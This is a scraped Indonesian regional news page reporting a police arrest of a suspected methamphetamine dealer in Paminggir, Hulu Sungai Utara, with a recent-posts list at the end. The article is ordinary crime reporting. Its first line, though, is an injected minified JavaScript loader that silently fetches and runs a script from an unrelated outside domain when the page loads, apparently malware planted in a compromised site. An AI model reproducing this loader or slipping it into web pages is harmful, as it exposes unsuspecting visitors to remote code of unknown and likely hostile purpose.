(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Pengedar Sabu di Paminggir Ditangkap, Kedapatan Simpan 75 Paket Sabu


 

KANALKALIMANTAN.COM, AMUNTAI – Satresnarkoba Polres Hulu Sungai Utara (HSU) menangkal seorang laki-laki berinisial RA (45) warga Desa Paminggir RT 02 RW 01 Kecamatan Paminggir Kabupaten HSU karena menyimpan 75 paket sabu.

Puluhan paket sabu dengan berat bersih mencapai 31,15 gram tersebut berhasil diungkap anggota Satresnarkoba Polres HSU dalam operasi yang dilakukan pada Kamis (18/1/2024) dari kediaman tersangka RA.

Saat dilakukan penggeledahan rumah RA yang disaksikan oleh ketua RT setempat, anggota juga mendapati barang bukti sebuah kotak pink berisikan dua bungkus plastik klip transparan, selembar slip transfer, satu timbangan digital serta sebuah dompet hitam berisikan uang tunai Rp8.140.000.

Baca juga: BNPB: Banjir Terjadi di 1 Kota dan 5 Kabupaten di Kalteng

Kapolres HSU Meilki Bharata melalui Kasat Narkoba Polres HSU AKP Sutargo membenarkan pengungkapan kasus narkoba ini berkat kerjasama dan informasi yang diberikan masyarakat.

“Tersangka RA ini diperoleh informasi dari masyarakat setempat dan tokoh-tokoh di sana yang sudah lama jual sabu, pelaku juga mengakui sudah 3 tahun lebih jual sabu,” jelas AKP Sutargo kepada Kanalkalimantan.com, Minggu (20/1/2024).

Menurut AKP Sutargo, tersangka RA berbisnis barang haram tersebut dengan harga yang ditawarkan bervariasi kepada para pembeli.

Baca juga: Target Partai di Kalsel Prabowo-Gibran Satu Putaran

“Kalau statusnya dia sebagai pengedar karena stand by saja di rumah, siapkan barang-barangnya dari harga Rp100 ribu sampai Rp700 ribu, tersedia banyak dan para pelanggan yang datang ke rumahnya. Untuk pembeli ada warga, karyawan kebun sawit, pendatang yang singgah maupun melintasi Paminggir,” bebernya.

Ditanya asal muasal barang haram tersebut, pengakuan tersangka AR barang itu berasal dari Banjarmasin dan diambil sendiri oleh tersangka melalui jalur sungai.

“Dari pengakuan RA barang dari Banjarmasin, dibawa melalui sungai, ambil sendiri ini yang masih kami dalami,” imbuhnya.

Baca juga: Keluhan Warga Bikin SIM Harus ke Km 21 Liang Anggang, Ini Tanggapan Kapolresta Banjarmasin

Sementara atas kejadian tersebut saat ini tersangka RA dan barang bukti ditahan di Polres HSU guna proses penyidikan lebih lanjut.

Atas perbuatannya, tersangka RA juga dapat dijerat pasal 114 ayat 2 dan atau pasal 112 ayat 2 UU RI No.35 Tahun 2009 Tentang Narkotika ancaman hukuman 5 sampai 20 tahun penjara. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Muhammad Andi

Recent Posts

DPRD Kalsel Usulkan Pengangkatan Muhidin Jadi Gubernur

KANALKALIMANTAN.COM, BANJARMASIN - Pengunduran diri Sahbirin Noor atau Paman Birin dari jabatan Gubernur Kalimantan Selatan… Read More

1 jam ago

Kabupaten Banjar Laksanakan Penyusunan RDTR Wilayah Perencanaan Perkotaan Gambut – Kertakhanyar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More

13 jam ago

KPK Gali Keterangan Empat Saksi Terkait Aliran Uang ke Sahbirin Noor

KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More

13 jam ago

Ditreskrimsus Polda Kalsel Ungkap 46 Kasus Termasuk Judi Online

KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More

14 jam ago

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

18 jam ago

CEK FAKTA: Pernyataan Paslon Bahrul Ilmi Impor Guru dari Pulau Jawa, Bangun Jalan Beton di Batola

KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More

18 jam ago

This website uses cookies.